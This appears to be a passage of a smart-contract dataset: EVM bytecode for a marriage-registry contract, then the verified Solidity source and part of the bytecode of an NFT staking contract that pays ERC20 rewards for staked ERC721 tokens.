1828054600181600116156101000203166002900480156105935780601f1061056857610100808354040283529160200191610593565b820191906000526020600020905b81548152906001019060200180831161057657829003601f168201915b505050505081565b6105a3611c42565b600060028111156105b057fe5b6000809054906101000a900460ff1660028111156105ca57fe5b14156107be576107b76040805190810160405280600e81526020017f206172652061666669616e6365640000000000000000000000000000000000008152506107a960068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a25780601f10610677576101008083540402835291602001916106a2565b820191906000526020600020905b81548152906001019060200180831161068557829003601f168201915b505050505061079b6040805190810160405280600581526020017f20616e642000000000000000000000000000000000000000000000000000000081525061078d60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107795780601f1061074e57610100808354040283529160200191610779565b820191906000526020600020905b81548152906001019060200180831161075c57829003601f168201915b505050505088610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b9050610aed565b600160028111156107cb57fe5b6000809054906101000a900460ff1660028111156107e557fe5b14156108e6576108df6040805190810160405280600b81526020017f20686173207369676e65640000000000000000000000000000000000000000008152506108d160058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108bd5780601f10610892576101008083540402835291602001916108bd565b820191906000526020600020905b8154815290600101906020018083116108a057829003601f168201915b505050505084610f9890919063ffffffff16565b610f9890919063ffffffff16565b9050610aec565b610ae96108f4600254611178565b610adb6040805190810160405280601081526020017f20676f74206d617272696564206f6e2000000000000000000000000000000000815250610acd60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109c65780601f1061099b576101008083540402835291602001916109c6565b820191906000526020600020905b8154815290600101906020018083116109a957829003601f168201915b5050505050610abf6040805190810160405280600581526020017f20616e6420000000000000000000000000000000000000000000000000000000815250610ab160058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a9d5780601f10610a7257610100808354040283529160200191610a9d565b820191906000526020600020905b815481529060010190602001808311610a8057829003601f168201915b50505050508a610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b90505b5b90565b60025481565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8c5780601f10610b6157610100808354040283529160200191610b8c565b820191906000526020600020905b815481529060010190602001808311610b6f57829003601f168201915b505050505081565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c2a5780601f10610bff57610100808354040283529160200191610c2a565b820191906000526020600020905b815481529060010190602001808311610c0d57829003601f168201915b505050505081565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8e57600080fd5b60016002811115610c9b57fe5b6000809054906101000a900460ff166002811115610cb557fe5b141515610cc157600080fd5b603c600354420310151515610cd557600080fd5b60008060006101000a81548160ff02191690836002811115610cf357fe5b0217905550600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6004549081150290604051600060405180830381858888f193505050501515610d5c57600080fd5b565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dba57600080fd5b60006002811115610dc757fe5b6000809054906101000a900460ff166002811115610de157fe5b141515610ded57600080fd5b600034111515610dfc57600080fd5b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16313410151515610e4457600080fd5b346004819055504260038190555060016000806101000a81548160ff02191690836002811115610e7057fe5b0217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed357600080fd5b60016002811115610ee057fe5b6000809054906101000a900460ff166002811115610efa57fe5b141515610f0657600080fd5b4260028190555060026000806101000a81548160ff02191690836002811115610f2b57fe5b0217905550600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc34600454019081150290604051600060405180830381858888f193505050501515610f9657600080fd5b565b610fa0611c42565b610fa8611c56565b610fb0611c56565b610fb8611c42565b610fc0611c56565b6000808895508794508451865101604051805910610fdb5750595b9080825280601f01601f1916602001820160405250935083925060009150600090505b85518110156110b157858181518110151561101557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561107457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050610ffe565b600090505b84518110156111695784818151811015156110cd57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002838380600101945081518110151561112c57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506110b6565b82965050505050505092915050565b611180611c42565b611188611c42565b611190611c42565b611198611c42565b6111a18561129f565b92506111b76111af866115f6565b60ff1661160c565b91506111ce6111c58661162c565b61ffff1661160c565b9050611295816112876040805190810160405280600181526020017f20000000000000000000000000000000000000000000000000000000000000008152506112798761126b6040805190810160405280600181526020017f200000000000000000000000000000000000000000000000000000000000000081525061125d8a8d610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b610f9890919063ffffffff16565b9350505050919050565b6112a7611c42565b60006112b2836116d7565b905060018160ff1614156112f9576040805190810160405280600381526020017f4a616e000000000000000000000000000000000000000000000000000000000081525091505b60028160ff16141561133e576040805190810160405280600381526020017f466562000000000000000000000000000000000000000000000000000000000081525091505b60038160ff161415611383576040805190810160405280600381526020017f4d6172000000000000000000000000000000000000000000000000000000000081525091505b60048160ff1614156113c8576040805190810160405280600381526020017f417072000000000000000000000000000000000000000000000000000000000081525091505b60058160ff16141561140d576040805190810160405280600381526020017f4d6179000000000000000000000000000000000000000000000000000000000081525091505b60068160ff161415611452576040805190810160405280600381526020017f4a756e000000000000000000000000000000000000000000000000000000000081525091505b60078160ff161415611497576040805190810160405280600381526020017f4a756c000000000000000000000000000000000000000000000000000000000081525091505b60088160ff1614156114dc576040805190810160405280600381526020017f417567000000000000000000000000000000000000000000000000000000000081525091505b60098160ff161415611521576040805190810160405280600481526020017f536570740000000000000000000000000000000000000000000000000000000081525091505b600a8160ff161415611566576040805190810160405280600381526020017f4f6374000000000000000000000000000000000000000000000000000000000081525091505b600b8160ff1614156115ab576040805190810160405280600381526020017f4e6f76000000000000000000000000000000000000000000000000000000000081525091505b600c8160ff1614156115f0576040805190810160405280600381526020017f446563000000000000000000000000000000000000000000000000000000000081525091505b50919050565b6000611601826116ed565b604001519050919050565b611614611c42565b61162561162083611826565b6118cf565b9050919050565b600080600080600092506301e133808581151561164557fe5b046107b261ffff1601915061165f6107b261ffff16611abc565b61166c8361ffff16611abc565b039050806301e285000283019250806107b2830361ffff16036301e1338002830192505b848311156116cc576116a460018303611af5565b156116b7576301e28500830392506116c1565b6301e13380830392505b600182039150611690565b819350505050919050565b60006116e2826116ed565b602001519050919050565b6116f5611c6a565b600080600080600093506117088661162c565b856000019061ffff16908161ffff168152505061172a6107b261ffff16611abc565b61173b866000015161ffff16611abc565b039250826301e285000284019350826107b286600001510361ffff16036301e133800284019350600191505b600c8260ff161115156117bf57611782828660000151611b76565b60ff16620151800290508584820111156117ad5781856020019060ff16908160ff16815250506117bf565b80840193508180600101925050611767565b600191505b6117d685602001518660000151611b76565b60ff168260ff1611151561181d578584620151800111156118085781856040019060ff16908160ff168152505061181d565b620151808401935081806001019250506117c4565b50505050919050565b600080821415611858577f300000000000000000000000000000000000000000000000000000000000000090506118c7565b5b60008211156118c657610100816001900481151561187357fe5b0460010290507f01000000000000000000000000000000000000000000000000000000000000006030600a848115156118a857fe5b06010260010281179050600a828115156118be57fe5b049150611859565b5b809050919050565b6118d7611c42565b6118df611c56565b60008060006118ec611c56565b60206040518059106118fb5750595b9080825280601f01601f1916602001820160405250945060009350600092505b60208310156119d9578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156119cc5781858581518110151561199357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b828060010193505061191b565b836040518059106119e75750595b9080825280601f01601f19166020018201604052509050600092505b83831015611aaf578483815181101515611a1957fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028184815181101515611a7257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050611a03565b8095505050505050919050565b600060018203915061019082811515611ad157fe5b04606483811515611ade57fe5b04600484811515611aeb57fe5b0403019050919050565b60008060048361ffff16811515611b0857fe5b0661ffff16141515611b1d5760009050611b71565b600060648361ffff16811515611b2f57fe5b0661ffff16141515611b445760019050611b71565b60006101908361ffff16811515611b5757fe5b0661ffff16141515611b6c5760009050611b71565b600190505b919050565b600060018360ff161480611b8d575060038360ff16145b80611b9b575060058360ff16145b80611ba9575060078360ff16145b80611bb7575060088360ff16145b80611bc55750600a8360ff16145b80611bd35750600c8360ff16145b15611be157601f9050611c3c565b60048360ff161480611bf6575060068360ff16145b80611c04575060098360ff16145b80611c125750600b8360ff16145b15611c2057601e9050611c3c565b611c2982611af5565b15611c3757601d9050611c3c565b601c90505b92915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b606060405190810160405280600061ffff168152602001600060ff168152602001600060ff16815250905600a165627a7a72305820ad0572e61cd08025eabbc717e79d8c761d9bd0643bbfa45eddd35400e7ba03810029
|
{"success": true, "error": null, "results": {}}
| 9,083 |
0xd89c39230ac9bc6a1b15dd2fd87cfa008d733a82
|
/**
*Submitted for verification at BscScan.com on 2022-02-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
interface IERC721 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
contract Ownable {
address public _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/EDM.sol
contract SYAC_NFT_Staking is Ownable{
//-----------------------------------------
//Variables
using SafeMath for uint256;
IERC721 NFTToken;
IERC20 token;
//-----------------------------------------
//Structs
struct userInfo
{
uint256 totlaWithdrawn;
uint256 withdrawable;
uint256 totalStaked;
uint256 availableToWithdraw;
}
//-----------------------------------------
//Mappings
mapping(address => mapping(uint256 => uint256)) public stakingTime;
mapping(address => userInfo ) public User;
mapping(address => uint256[] ) public Tokenid;
mapping(address=>uint256) public totalStakedNft;
mapping(uint256=>bool) public alreadyAwarded;
mapping(address=>mapping(uint256=>uint256)) public depositTime;
uint256 time= 1 days;
uint256 lockingtime= 1 days;
uint256 public firstReward =300 ether;
//-----------------------------------------
//constructor
constructor(IERC721 _NFTToken,IERC20 _token)
{
NFTToken =_NFTToken;
token=_token;
}
//-----------------------------------------
//Stake NFTS to earn Reward in coca coin
function Stake(uint256[] memory tokenId) external
{
for(uint256 i=0;i<tokenId.length;i++){
require(NFTToken.ownerOf(tokenId[i]) == msg.sender,"nft not found");
NFTToken.transferFrom(msg.sender,address(this),tokenId[i]);
Tokenid[msg.sender].push(tokenId[i]);
stakingTime[msg.sender][tokenId[i]]=block.timestamp;
if(!alreadyAwarded[tokenId[i]]){
depositTime[msg.sender][tokenId[i]]=block.timestamp;
}
}
User[msg.sender].totalStaked+=tokenId.length;
totalStakedNft[msg.sender]+=tokenId.length;
}
//-----------------------------------------
//check your Reward By this function
function rewardOfUser(address Add) public view returns(uint256)
{
uint256 RewardToken;
for(uint256 i = 0 ; i < Tokenid[Add].length ; i++){
if(Tokenid[Add][i] > 0)
{
if((block.timestamp>depositTime[Add][Tokenid[Add][i]]+1 minutes)&&!alreadyAwarded[Tokenid[Add][i]]){
RewardToken+=firstReward;
}
RewardToken += (((block.timestamp - (stakingTime[Add][Tokenid[Add][i]])).div(time)))*15 ether;
}
}
return RewardToken+User[Add].availableToWithdraw;
}
//-----------------------------------------
//Returns all NFT user staked
function userStakedNFT(address _staker)public view returns(uint256[] memory)
{
return Tokenid[_staker];
}
//-----------------------------------------
//Withdraw your reward
function WithdrawReward() public
{
uint256 reward = rewardOfUser(msg.sender);
require(reward > 0,"you don't have reward yet!");
require(token.balanceOf(address(token))>=reward,"Contract Don't have enough tokens to give reward");
token.withdrawStakingReward(msg.sender,reward);
for(uint8 i=0;i<Tokenid[msg.sender].length;i++){
stakingTime[msg.sender][Tokenid[msg.sender][i]]=block.timestamp;
}
User[msg.sender].totlaWithdrawn += reward;
User[msg.sender].availableToWithdraw = 0;
for(uint256 i = 0 ; i < Tokenid[msg.sender].length ; i++){
alreadyAwarded[Tokenid[msg.sender][i]]=true;
}
}
//-----------------------------------------
//Get index by Value
function find(uint value) internal view returns(uint) {
uint i = 0;
while (Tokenid[msg.sender][i] != value) {
i++;
}
return i;
}
//-----------------------------------------
//User have to pass tokenID to unstake token
function unstake(uint256[] memory _tokenId) external
{
User[msg.sender].availableToWithdraw+=rewardOfUser(msg.sender);
for(uint256 i=0;i<_tokenId.length;i++){
if(rewardOfUser(msg.sender)>0)alreadyAwarded[_tokenId[i]]=true;
uint256 _index=find(_tokenId[i]);
require(Tokenid[msg.sender][_index] ==_tokenId[i] ,"NFT with this _tokenId not found");
NFTToken.transferFrom(address(this),msg.sender,_tokenId[i]);
delete Tokenid[msg.sender][_index];
Tokenid[msg.sender][_index]=Tokenid[msg.sender][Tokenid[msg.sender].length-1];
stakingTime[msg.sender][_tokenId[i]]=0;
Tokenid[msg.sender].pop();
}
User[msg.sender].totalStaked-=_tokenId.length;
totalStakedNft[msg.sender]>0?totalStakedNft[msg.sender]-=_tokenId.length:totalStakedNft[msg.sender]=0;
}
function isStaked(address _stakeHolder)public view returns(bool){
if(totalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
//-----------------------------------------
//Only Owner
function WithdrawToken()public onlyOwner{
require(token.transfer(msg.sender,token.balanceOf(address(this))),"Token transfer Error!");
}
function changeFirstReward(uint256 _reward)external onlyOwner{
firstReward=_reward;
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063c241f39711610071578063c241f3971461030a578063cc1d08d41461033a578063e449f3411461036a578063f2450ece14610386578063f2fde38b1461039057610116565b80638da5cb5b1461026e57806397e17cd71461028c578063a911941c146102bc578063b2bdfa7b146102ec57610116565b806352cac94d116100e957806352cac94d146101a65780636177fd18146101c257806361f9181f146101f257806370b68cf614610222578063799324751461023e57610116565b8063230eb9c61461011b5780632c07f74f1461014e5780632e23dc8f1461015857806340376ba214610176575b600080fd5b6101356004803603810190610130919061218b565b6103ac565b6040516101459493929190612746565b60405180910390f35b6101566103dc565b005b6101606108b9565b60405161016d919061272b565b60405180910390f35b610190600480360381019061018b919061218b565b6108bf565b60405161019d919061260e565b60405180910390f35b6101c060048036038101906101bb9190612283565b610956565b005b6101dc60048036038101906101d7919061218b565b6109ee565b6040516101e99190612630565b60405180910390f35b61020c600480360381019061020791906121dd565b610a4a565b604051610219919061272b565b60405180910390f35b61023c60048036038101906102379190612219565b610a6f565b005b61025860048036038101906102539190612283565b610fa2565b6040516102659190612630565b60405180910390f35b610276610fc2565b6040516102839190612593565b60405180910390f35b6102a660048036038101906102a1919061218b565b610feb565b6040516102b3919061272b565b60405180910390f35b6102d660048036038101906102d1919061218b565b6113e2565b6040516102e3919061272b565b60405180910390f35b6102f46113fa565b6040516103019190612593565b60405180910390f35b610324600480360381019061031f91906121dd565b61141e565b604051610331919061272b565b60405180910390f35b610354600480360381019061034f91906121dd565b611443565b604051610361919061272b565b60405180910390f35b610384600480360381019061037f9190612219565b611474565b005b61038e611bd5565b005b6103aa60048036038101906103a5919061218b565b611dfd565b005b60046020528060005260406000206000915090508060000154908060010154908060020154908060030154905084565b60006103e733610feb565b90506000811161042c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104239061264b565b60405180910390fd5b80600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016104aa9190612593565b60206040518083038186803b1580156104c257600080fd5b505afa1580156104d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fa91906122ac565b101561053b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105329061270b565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166361ee195533836040518363ffffffff1660e01b81526004016105989291906125e5565b600060405180830381600087803b1580156105b257600080fd5b505af11580156105c6573d6000803e3d6000fd5b5050505060005b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508160ff1610156107065742600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208460ff16815481106106d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015481526020019081526020016000208190555080806106fe906129e5565b9150506105cd565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282546107599190612832565b925050819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555060005b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156108b557600160076000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110610872577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ad9061299c565b9150506107ab565b5050565b600b5481565b6060600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561094a57602002820191906000526020600020905b815481526020019060010190808311610936575b50505050509050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109db906126eb565b60405180910390fd5b80600b8190555050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610a405760019050610a45565b600090505b919050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60005b8151811015610eed573373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e848481518110610b09577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518263ffffffff1660e01b8152600401610b2d919061272b565b60206040518083038186803b158015610b4557600080fd5b505afa158015610b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7d91906121b4565b73ffffffffffffffffffffffffffffffffffffffff1614610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca9061268b565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330858581518110610c4c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518463ffffffff1660e01b8152600401610c72939291906125ae565b600060405180830381600087803b158015610c8c57600080fd5b505af1158015610ca0573d6000803e3d6000fd5b50505050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828281518110610d1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151908060018154018082558091505060019003906000526020600020016000909190919091505542600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848481518110610dc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015181526020019081526020016000208190555060076000838381518110610e1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060009054906101000a900460ff16610eda5742600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848481518110610ebf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518152602001908152602001600020819055505b8080610ee59061299c565b915050610a72565b508051600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254610f419190612832565b925050819055508051600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f989190612832565b9250508190555050565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060005b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561138b576000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106110b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154111561137857603c600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061117f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001548152602001908152602001600020546111a39190612832565b42118015611250575060076000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110611227577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154815260200190815260200160002060009054906101000a900460ff16155b1561126657600b54826112639190612832565b91505b67d02ab486cedc0000611360600954600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868154811061132d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154815260200190815260200160002054426113529190612913565b611fb890919063ffffffff16565b61136a91906128b9565b826113759190612832565b91505b80806113839061299c565b915050610ff1565b50600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154816113da9190612832565b915050919050565b60066020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052816000526040600020602052806000526040600020600091509150505481565b6005602052816000526040600020818154811061145f57600080fd5b90600052602060002001600091509150505481565b61147d33610feb565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282546114ce9190612832565b9250508190555060005b8151811015611a8f5760006114ec33610feb565b111561155f57600160076000848481518110611531577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518152602001908152